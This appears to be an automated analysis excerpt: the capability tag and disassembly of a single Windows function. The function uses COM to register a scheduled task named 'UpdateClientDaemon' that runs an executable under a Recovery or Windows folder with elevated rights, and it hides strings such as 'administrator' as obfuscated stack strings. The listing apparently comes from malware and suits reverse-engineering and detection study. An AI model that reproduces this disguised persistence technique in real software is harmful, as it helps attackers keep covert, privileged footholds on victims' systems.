Function at 0x140002820
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
push rbp
push rbx
push rsi
push rdi
push r14
push r15
lea rbp, [rax - 0x1b8]
sub rsp, 0x288
movaps xmmword [rax - 0x48], xmm6
movaps xmmword [rax - 0x58], xmm7
movaps xmmword [rax - 0x68], xmm8
movaps xmmword [rax - 0x78], xmm9
movaps xmmword [rax - 0x88], xmm10
movaps xmmword [rax - 0x98], xmm11
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
xor r15d, r15d
mov qword [rsp + 0x40], r15
mov dword [rsp + 0x38], r15d
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
mov edi, 0xffffffff
mov edx, edi
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeSecurity]
lea rax, [rbp + 0x1d0]
mov qword [rsp + 0x20], rax
lea r9, [0x14006dd18]
xor edx, edx
lea r8d, [r15 + 1]
lea rcx, [0x14006dd28]
call qword [sym.imp.ole32.dll_CoCreateInstance]
mov rax, qword [rbp + 0x1d0]
mov rcx, qword [rax]
mov rbx, qword [rcx + 0x50]
lea rcx, [rbp + 0x80]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movups xmm11, xmmword [rbp + 0x80]
movsd xmm10, qword [rbp + 0x90]
lea rcx, [rbp + 0x68]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movups xmm9, xmmword [rbp + 0x68]
movsd xmm8, qword [rbp + 0x78]
lea rcx, [rbp + 0x50]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movups xmm7, xmmword [rbp + 0x50]
movsd xmm6, qword [rbp + 0x60]
lea rcx, [rbp + 0x38]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movaps xmmword [rbp + 0x100], xmm11
movsd qword [rbp + 0x110], xmm10
movaps xmmword [rbp - 0x40], xmm9
movsd qword [rbp - 0x30], xmm8
movaps xmmword [rbp - 0x20], xmm7
movsd qword [rbp - 0x10], xmm6
movups xmm0, xmmword [rbp + 0x38]
movaps xmmword [rbp], xmm0
movsd xmm1, qword [rbp + 0x48]
movsd qword [rbp + 0x10], xmm1
lea rax, [rbp + 0x100]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x40]
lea r8, [rbp - 0x20]
lea rdx, [rbp]
mov rcx, qword [rbp + 0x1d0]
call rbx
nop
lea rcx, [rbp + 0x38]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rbp + 0x50]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rbp + 0x68]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rbp + 0x80]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
mov rax, qword [rbp + 0x1d0]
mov rcx, qword [rax]
mov rsi, qword [rcx + 0x38]
lea ecx, [rdi + 0x19]
call fcn.14000c280
mov rbx, rax
mov qword [rbp + 0x1c0], rax
test rax, rax
je 0x1400029f6
mov qword [rax + 8], r15
mov dword [rax + 0x10], 1
lea rcx, [0x140088820]
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
je 0x140002e89
jmp 0x1400029f9
mov rbx, r15
mov qword [rbp + 0xc8], rbx
test rbx, rbx
je 0x140002e94
lea r8, [rbp - 0x68]
mov rdx, qword [rbx]
mov rcx, qword [rbp + 0x1d0]
call rsi
nop
mov eax, edi
lock xadd dword [rbx + 0x10], eax
cmp eax, 1
jne 0x140002a56
mov rcx, qword [rbx]
test rcx, rcx
je 0x140002a37
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r15
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x140002a49
call fcn.14000c260
mov qword [rbx + 8], r15
mov edx, 0x18
mov rcx, rbx
call fcn.14000c2f0
mov rcx, qword [rbp + 0x1d0]
mov rax, qword [rcx]
lea r8, [rbp + 0x1c8]
xor edx, edx
call qword [rax + 0x48]
mov rcx, qword [rbp + 0x1c8]
mov rax, qword [rcx]
lea rdx, [rbp + 0x1d8]
call qword [rax + 0x38]
mov dword [rsp + 0x50], 0x696d6461
mov dword [rsp + 0x54], 0x7473696e
mov dword [rsp + 0x58], 0x6f746172
mov word [rsp + 0x5c], 0x72
mov rax, qword [rbp + 0x1d8]
mov rcx, qword [rax]
mov rsi, qword [rcx + 0x50]
mov ecx, 0x18
call fcn.14000c280
mov rbx, rax
mov qword [rbp + 0x1c0], rax
test rax, rax
je 0x140002ae0
mov qword [rax + 8], r15
mov dword [rax + 0x10], 1
lea rcx, [rsp + 0x50]
call fcn.14000bdd0
mov qword [rbx], rax
jmp 0x140002ae3
mov rbx, r15
mov qword [rbp + 0xd0], rbx
test rbx, rbx
je 0x140002e94
mov rdx, qword [rbx]
mov rcx, qword [rbp + 0x1d8]
call rsi
nop
mov eax, edi
lock xadd dword [rbx + 0x10], eax
cmp eax, 1
jne 0x140002b3c
mov rcx, qword [rbx]
test rcx, rcx
je 0x140002b1d
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r15
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x140002b2f
call fcn.14000c260
mov qword [rbx + 8], r15
mov edx, 0x18
mov rcx, rbx
call fcn.14000c2f0
mov rcx, qword [rbp + 0x1c8]
mov rax, qword [rcx]
lea rdx, [rbp - 0x80]
call qword [rax + 0x78]
mov rcx, qword [rbp - 0x80]
mov rax, qword [rcx]
mov edx, 3
call qword [rax + 0x70]
mov rcx, qword [rbp - 0x80]
mov rax, qword [rcx]
mov edx, 1
call qword [rax + 0x90]
mov rcx, qword [rbp + 0x1c8]
mov rax, qword [rcx]
lea rdx, [rbp - 0x78]
call qword [rax + 0x58]
mov rcx, qword [rbp - 0x78]
mov rax, qword [rcx]
mov edx, edi
call qword [rax + 0xb0]
mov rcx, qword [rbp - 0x78]
mov rax, qword [rcx]
lea rdx, [rbp + 0xd8]
call qword [rax + 0x138]
mov rcx, qword [rbp + 0x1c8]
mov rax, qword [rcx]
lea rdx, [rbp - 0x60]
call qword [rax + 0x48]
mov rcx, qword [rbp - 0x60]
mov rax, qword [rcx]
lea r8, [rbp + 0xe0]
mov edx, 9
call qword [rax + 0x50]
mov rcx, qword [rbp + 0x1c8]
mov rax, qword [rcx]
lea rdx, [rbp - 0x58]
call qword [rax + 0x88]
mov rcx, qword [rbp - 0x58]
mov rax, qword [rcx]
lea r8, [rbp - 0x50]
xor edx, edx
call qword [rax + 0x60]
mov rcx, qword [rbp - 0x50]
mov rax, qword [rcx]
lea r8, [rbp - 0x70]
lea rdx, str.MbLk
call qword [rax]
movdqa xmm0, xmmword [str.C:RecoveryClieC:windowsClien]
movdqu xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x70], 0x6144746e
mov dword [rsp + 0x74], 0x6e6f6d65
mov dword [rsp + 0x78], 0x6578652e
mov byte [rsp + 0x7c], 0
mov rax, qword [rbp - 0x70]
mov rcx, qword [rax]
mov rsi, qword [rcx + 0x58]
mov ecx, 0x18
call fcn.14000c280
mov rbx, rax
mov qword [rbp + 0x1c0], rax
test rax, rax
je 0x140002c6a
mov qword [rax + 8], r15
mov dword [rax + 0x10], 1
lea rcx, [rsp + 0x60]
call fcn.14000bdd0
mov qword [rbx], rax
jmp 0x140002c6d
mov rbx, r15
mov qword [rbp + 0xe8], rbx
test rbx, rbx
je 0x140002e94
mov rdx, qword [rbx]
mov rcx, qword [rbp - 0x70]
call rsi
nop
mov eax, edi
lock xadd dword [rbx + 0x10], eax
cmp eax, 1
jne 0x140002cc3
mov rcx, qword [rbx]
test rcx, rcx
je 0x140002ca4
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r15
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x140002cb6
call fcn.14000c260
mov qword [rbx + 8], r15
mov edx, 0x18
mov rcx, rbx
call fcn.14000c2f0
mov rax, qword [rbp - 0x68]
mov rcx, qword [rax]
mov rsi, qword [rcx + 0x88]
mov eax, 8
mov word [rbp + 0x20], ax
lea rcx, [0x14008871c]
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbp + 0x28], rax
test rax, rax
je 0x140002e9f
movups xmm6, xmmword [rbp + 0x20]
movsd xmm7, qword [rbp + 0x30]
lea rcx, [rbp + 0xb0]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movups xmm8, xmmword [rbp + 0xb0]
movsd xmm9, qword [rbp + 0xc0]
lea rcx, [rbp + 0x98]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movups xmm10, xmmword [rbp + 0x98]
movsd xmm11, qword [rbp + 0xa8]
mov r14, qword [rbp + 0x1c8]
mov ecx, 0x18
call fcn.14000c280
mov rbx, rax
mov qword [rbp + 0x1c0], rax
test rax, rax
je 0x140002d77
mov qword [rax + 8], r15
mov dword [rax + 0x10], 1
lea rcx, str.UpdateClientDaemon
call fcn.14000bdd0
mov qword [rbx], rax
jmp 0x140002d7a
mov rbx, r15
mov qword [rbp + 0xf0], rbx
test rbx, rbx
je 0x140002e7e
movaps xmmword [rbp], xmm6
movsd qword [rbp + 0x10], xmm7
movaps xmmword [rbp - 0x20], xmm8
movsd qword [rbp - 0x10], xmm9
movaps xmmword [rbp - 0x40], xmm10
movsd qword [rbp - 0x30], xmm11
lea rax, [rbp + 0xf8]
mov qword [rsp + 0x40], rax
lea rax, [rbp]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 3
lea rax, [rbp - 0x20]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 6
mov r8, r14
mov rdx, qword [rbx]
mov rcx, qword [rbp - 0x68]
call rsi
nop
lock xadd dword [rbx + 0x10], edi
cmp edi, 1
jne 0x140002e26
mov rcx, qword [rbx]
test rcx, rcx
je 0x140002e06
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r15
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x140002e18
call fcn.14000c260
mov qword [rbx + 8], r15
mov edx, 0x18
mov rcx, rbx
call fcn.14000c2f0
nop
lea rcx, [rbp + 0x98]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rbp + 0xb0]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rbp + 0x20]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
lea r11, [rsp + 0x288]
movaps xmm6, xmmword [r11 - 0x18]
movaps xmm7, xmmword [r11 - 0x28]
movaps xmm8, xmmword [r11 - 0x38]
movaps xmm9, xmmword [r11 - 0x48]
movaps xmm10, xmmword [r11 - 0x58]
movaps xmm11, xmmword [r11 - 0x68]
mov rsp, r11
pop r15
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov ecx, 0x8007000e
call fcn.14000bcd0
nop
mov ecx, 0x8007000e
call fcn.14000bcd0
nop
mov ecx, 0x8007000e
call fcn.14000bcd0
int3
mov ecx, 0x8007000e
call fcn.14000bcd0
int3